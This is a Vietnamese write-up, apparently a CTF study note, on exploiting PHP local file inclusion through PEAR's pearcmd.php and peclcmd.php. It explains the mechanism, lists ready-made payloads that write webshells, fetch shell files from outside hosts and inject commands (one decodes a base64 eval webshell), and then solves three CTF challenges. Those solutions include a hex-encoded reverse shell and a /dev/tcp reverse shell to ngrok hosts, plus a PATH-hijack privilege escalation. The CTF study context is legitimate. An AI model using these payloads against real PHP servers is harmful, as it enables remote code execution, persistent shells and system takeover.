PECL (PHP Extension Community Library) là thư viện mở rộng cho ngôn ngữ PHP, cung cấp các extensions, cho phép mở rộng khả năng của PHP bằng các tính năng mới và tích hợp các thư viện.
## Điều kiện khai thác
- Thông qua lỗ hổng LFI
- Trong mọi phiên bản Docker image, pecl/pear sẽ mặc định được cài đặt và path là `/usr/local/lib/php` (nằm trong setting `include_path`).
- `register_argc_argv` được set là `on`.

## register_argc_argv
Giá trị mặc định này là `off`.
Nếu nó được set là `on` thì có thể kiểm soát được `$_SERVER['argc']` và `$_SERVER['argv']` trong code PHP.
Ví dụ:

<?php
var_dump($_SERVER['argv']);  
var_dump($_SERVER['argc']);    // số param
?>



Việc phân tách các tham số dựa trên dấu `+` thay vì `&`

## register_argc_argv và pear
`$_SERVER['argv']` sẽ trả về tham số cho pear để nó xử lý và thực thi

Ví dụ tạo file config thông qua `config-create` bằng `pearcmd.php` (cái này khá phổ biến sử dụng để khai thác), sau khi cài thư viện này ta có thể dùng command line (tại thư mục chứa `pearcmd.php`):

php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell.php

Kết quả:



Như đã nói ở trên `register_argc_argv` là `on` cho phép phân tách các tham số bằng dấu `+`. Như vậy command line trên trong request HTTP sẽ như sau (tất nhiên là với điều kiện LFI được):


Kết quả:


## Cách thức hoạt động
Refs: <https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp>

`php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell.php` là một command line nhưng tại sao nó có thể thực hiện qua HTTP request?
Đó nhờ qua giao thức CGI.
>CGI (Common Gateway Interface) là một giao thức chuẩn cho việc tương tác giữa webserver và các ứng dụng trên server, như các ứng dụng CGI hoặc các file chạy command line. CGI được sử dụng để truyền dữ liệu giữa web servervà các ứng dụng hoặc file script và thực hiện các tác vụ dynamic (có param), ví dụ như xử lý form web hoặc tạo nội dung dynamic trên trang web.

RFC3875 quy định rằng nếu query string không chứa ký tự `=` chưa được encoded và method là `GET` hoặc `HEAD` thì query string được sử dụng làm tham số cho command line (mặc dù quy định vậy nhưng khi query string có chứa dấu `=`, nó vẫn sẽ được gán cho `$_SERVER['argv']`.).
Tiếp theo là việc pear xử lý tham số:

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

Param được lấy ra từ global `$argv`, nếu không có thì từ `$_SERVER['argv']`, nếu không có nữa thì `$GLOBALS['HTTP_SERVER_VARS']['argv']`.
Nói cách khác, điều đó giúp truy cập được các chức năng của pear qua command line dựa vào web để có thể kiểm soát các param của command line đó.
Một số thông số command line của pear:


Nhìn vào dễ dàng thấy có `config-create` và để thực hiện nó thì cần 2 param, theo đoạn code xử lý (`PEAR/Command/Config.php`):

 function doConfigCreate($command, $options, $params)
{
    if (count($params) != 2) {
        return PEAR::raiseError('config-create: must have 2 parameters, root path and ' .
            'filename to save as');
    }

    $root = $params[0];
    // Clean up the DIRECTORY_SEPARATOR mess
    $ds2 = DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR;
    $root = preg_replace(array('!\\\\+!', '!/+!', "!$ds2+!"),
                            array('/', '/', '/'),
                        $root);
    if ($root[0] != '/') {
        if (!isset($options['windows'])) {
            return PEAR::raiseError('Root directory must be an absolute path beginning ' .
                'with "/", was: "' . $root . '"');
        }

        if (!preg_match('/^[A-Za-z]:/', $root)) {
            return PEAR::raiseError('Root directory must be an absolute path beginning ' .
                'with "\\" or "C:\\", was: "' . $root . '"');
        }
    }

    $windows = isset($options['windows']);
    if ($windows) {
        $root = str_replace('/', '\\', $root);
    }

    if (!file_exists($params[1]) && !@touch($params[1])) {
        return PEAR::raiseError('Could not create "' . $params[1] . '"');
    }

    $params[1] = realpath($params[1]);
    $config = new PEAR_Config($params[1], '#no#system#config#', false, false);
    if ($root[strlen($root) - 1] == '/') {
        $root = substr($root, 0, strlen($root) - 1);
    }

    $config->noRegistry();
    $config->set('php_dir', $windows ? "$root\\pear\\php" : "$root/pear/php", 'user');
    $config->set('data_dir', $windows ? "$root\\pear\\data" : "$root/pear/data");
    $config->set('www_dir', $windows ? "$root\\pear\\www" : "$root/pear/www");
    $config->set('cfg_dir', $windows ? "$root\\pear\\cfg" : "$root/pear/cfg");
    $config->set('ext_dir', $windows ? "$root\\pear\\ext" : "$root/pear/ext");
    $config->set('doc_dir', $windows ? "$root\\pear\\docs" : "$root/pear/docs");
    $config->set('test_dir', $windows ? "$root\\pear\\tests" : "$root/pear/tests");
    $config->set('cache_dir', $windows ? "$root\\pear\\cache" : "$root/pear/cache");
    $config->set('download_dir', $windows ? "$root\\pear\\download" : "$root/pear/download");
    $config->set('temp_dir', $windows ? "$root\\pear\\temp" : "$root/pear/temp");
    $config->set('bin_dir', $windows ? "$root\\pear" : "$root/pear");
    $config->set('man_dir', $windows ? "$root\\pear\\man" : "$root/pear/man");
    $config->writeConfigFile();
    $this->_showConfig($config);
    $this->ui->outputData('Successfully created default configuration file "' . $params[1] . '"',
        $command);
}

Cụ thể hơn, đoạn code trên đã thực hiện:
1. Kiểm tra param (nhận vào 2 param root path và filename để lưu).
2. Chuẩn hóa root path (liên quan về xử lý `\` và `/`)
3. Kiểm tra xem filename (param thứ 2) xem tồn tại chưa, sau đó tạo file config.
4. Thiết lập các giá trị thư mục trong file config.
5. Ghi cấu hình (`$config->writeConfigFile();`)
6. Hiển thị kết quả.

## Một vài payloads khác
Ref: <https://github.com/w181496/Web-CTF-Cheatsheet#pear>
### 1. Ghi file
- `/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php` (đây là payload phổ biến nhất)
Không chỉ có `config-create` mà `man_dir`,`download`, `channel-discover` cũng có thể ghi file.
- `/?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php`
- `/?+download+https://kaibro.tw/shell.php+&file=/usr/local/lib/php/pearcmd.php` (cái này sẽ không chỉ định thư mục tải về và nó sẽ lưu với tên `shell.php` tại thư mục hiện tại và điều này sẽ bị hạn chế về quyền)
- `/?+channel-discover+kaibro.tw/302.php?&file=/usr/local/lib/php/pearcmd.php` (tương tự trên nhưng sẽ bị hạn chế việc connection)
### 2. Install package
Payloads:
`/?+install+--force+--installroot+/tmp/wtf+https://pastebin.com/raw/Z4cejG3f+?&file=/usr/local/lib/php/pearcmd.php`

Cách này sẽ down về folder và path hơi loằng ngoằng:
### 3. Command Injection
- `/?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14`
- `/?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archive_Tar-1.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&`
- `/?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archive_Tar+&file=/usr/local/lib/php/pearcmd.php&`

(3 cái trên không biết đã fix ở bản nào chưa vì test không được 😥)
### 4. Command injection 2
**run-tests**


Như cái tên thì nó có chức năng chạy thử 1 package của pear. flag `-i` như ở trên áp dụng setting của file `php.ini`. Tuy nhiên giá trị được nối chuỗi trực tiếp vào command dẫn đến lỗ hổng command injection:
`PEAR/RunTest.php` (nó là biến `$ini_settings`):

function run($file, $ini_settings = array(), $test_number = 1)
{
    
    ...

    $args = $section_text['ARGS'] ? ' -- '.$section_text['ARGS'] : '';
    $cmd = $this->_preparePhpBin($this->_php, $temp_file, $ini_settings);
    $cmd.= "$args 2>&1";
}

function _preparePhpBin($php, $file, $ini_settings)
{
    $file = escapeshellarg($file);
    $cmd = $php . $ini_settings . ' -f ' . $file;

    return $cmd;
}

Quay trở lại `-i` giá trị của nó ta sẽ dùng `-r "codephp"` (php cli).
Một thứ nữa là cần file để run test: `.phpt` và nó có trong `/usr/local/lib/php/test/Console_Getopt/tests/`
Việc search file `find / -name "*.phpt"` để tìm
Payload sẽ hạn chế việc dùng space (tránh escape lung tung):
- command line:
`php peclcmd.php run-tests -i "-r\"system(hex2bin('736C6565702035'));\"" /usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt`
- payload:
`/?page=../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('PAYLOAD'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt`

## Vài bài CTF
>Trong thời điểm diễn ra các bài CTF như ở dưới, tất nhiên là sẽ chưa xuất hiện các payloads như ở trên nên khá khó khai thác.
>Nói chung thì các payloads ở trên đã tổng hợp được từ các bài CTF cho tới nay.
### 2linephp - Balsn CTF 2021
Phân tích source:

<?php ($_=@implode($_GET)) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');

Dòng đầu tiên:
- `implode($_GET)` dùng để chuyển mảng `$_GET` thành chuỗi lưu vào biến `$_`
- `stripos` được sử dụng để chặn các từ khóa `zip`, `p:`, `s:` của các biến `$_GET`.

Dòng thứ 2:
- Tạo ra 1 tên file từ param `kaibro` nối với extension `php` lưu vào `$_`. Ở đây, param không được xử lý dẫn đến việc xảy ra lỗ hổng *LFI*.
- `substr(file($_)[0],0,5)` lấy ra 5 ký tự đầu tiên của dòng thứ nhất của file đó, nếu là `<?php` thì thực hiện `include()` file đó không thì là `phpinfo.php`.

=> Như vậy đây là bài toán LFI nhưng chỉ include được file php. Đồng thời bài cho thông tin qua `phpinfo()`, ta có thể tìm kiếm vài thông tin để khai thác:


`pearcmd.php` sẽ nằm trong path:


Tuy nhiên mấu chốt của bài này là việc include file shell phải chứa `<?php` ở đầu, nếu sử dụng payload thông thường như config-create sẽ bị hạn chế. Ta bypass bằng cách:
`/?+install+--force+--installroot+/tmp/abc+https://223e-27-72-137-31.ngrok-free.app/sh.php+?&kaibro=/usr/local/lib/php/pearcmd`
hoặc là:

Khi đó file `sh.php` sẽ ở `/tmp/abc/tmp/pear/download/sh.php`


Hoặc:
`/?+channel-discover+223e-27-72-137-31.ngrok-free.app/sh.php?&kaibro=/usr/local/lib/php/pearcmd`
và file `sh.php` nằm ở `/tmp/pear/temp`:


### readonly - SEETF-2023
Bài này là dạng command injection như ở [trên](https://hackmd.io/@chuong/pearcmd#4-Command-injection-2)

Lỗ hổng LFI:


payload:
`/?page=../../../../../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('62617368202d63202262617368202d69203e26202f6465762f7463702f746370302e7463702e61702e6e67726f6b2e696f2f313432333220303e263122'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt`

(`62617368202...` là reverse shel)


### filestore - ångstromCTF 2023
Source:

<?php
    if($_SERVER['REQUEST_METHOD'] == "POST"){
        if ($_FILES["f"]["size"] > 1000) {
            echo "file too large";
            return;
        }
    
        $i = uniqid();

        if (empty($_FILES["f"])){
            return;
        }

        if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $i . "_" . hash('sha256', $_FILES["f"]["name"]) . "_" . $_FILES["f"]["name"])){
            echo "upload success";
        } else {
            echo "upload error";
        }
    } else {
        if (isset($_GET["f"])) {
            include "./uploads/" . $_GET["f"];
        }

        highlight_file("index.php");

        // this doesn't work, so I'm commenting it out 😛
        // system("/list_uploads");
    }
?>

Bài có chức năng upload file, tuy nhiên file upload có tên random => không thể kiểm soát được.
Thêm nữa `include "./uploads/" . $_GET["f"];` - lỗ hổng LFI.
Ngoài ra bài cho 2 file binary, khi bỏ vào IDA ta biết được:
- `list_uploads`


File này có chức năng thực thi `ls` để list ra hết trong `/var/www/html/uploads`
Theo `Dockerfile`:

    RUN chown admin:admin /list_uploads &&\
        chmod 111 /list_uploads &&\
        chmod g+s /list_uploads

- `make_abyss_entry`

Theo `Dockerfile`:

    COPY make_abyss_entry /make_abyss_entry
    RUN chown root:root /make_abyss_entry &&\
        chmod 111 /make_abyss_entry &&\
        chmod g+s /make_abyss_entry
    ...
    RUN mkdir /abyss &&\
        chown -R root:root /abyss &&\
        chmod -R 331 /abyss

Thường thì ở các bài LFI, mình thường nghĩ đến `pearcmd.php` sau cùng, mà thôi vì làm lại nên tập trung vào nó luôn:
Payload:
`/?+config-create+/&f=../../../../../usr/local/lib/php/pearcmd.php&/<?=system($_GET[0])?>+/tmp/shell.php`
RCE:


Để dễ dàng khai thác tiếp ta dùng reverse shell:
`/?f=../../../../tmp/shell.php&0=bash+-c+'sh+-i+>%26+/dev/tcp/tcp0.tcp.ap.ngrok.io/16600+0>%261'`


Leo thang đặc quyền:
Quay trở lại 2 file binary lúc đầu.


Ý tưởng bài này là sử dụng PATH (bởi vì nếu thử các cách kia thì không được 😐).
Nhớ lại file `list_uploads` sẽ thực thi command: `ls /var/www/html/uploads`
Ta sẽ ghi đè `ls`, ví dụ như `cat /flag.txt;ls`
Để ý `/make_abyss_entry` tạo ra thư mục có tên random trong `/abyss` nhằm mục đích tạo file `ls` ở trong đó (thật ra cũng có nhiều người tạo trong `/tmp`).
Trong `Dockerfile`:

RUN rm -f /bin/chmod /usr/bin/chmod /bin/chown /usr/bin/chown

Như vậy không thể cấp quyền cho `ls`, ta bypass bằng cách dùng `perl`:

perl -e "chmod 0755,'file'"

Khai thác:


Solution này mình đọc từ bài viết của anh [@devme4f](https://hackmd.io/@devme4f/B1YGfYv7n), cũng có vài cách khác thì cũng khá tương tự nhưng cách này dễ hiểu và đơn giản hơn.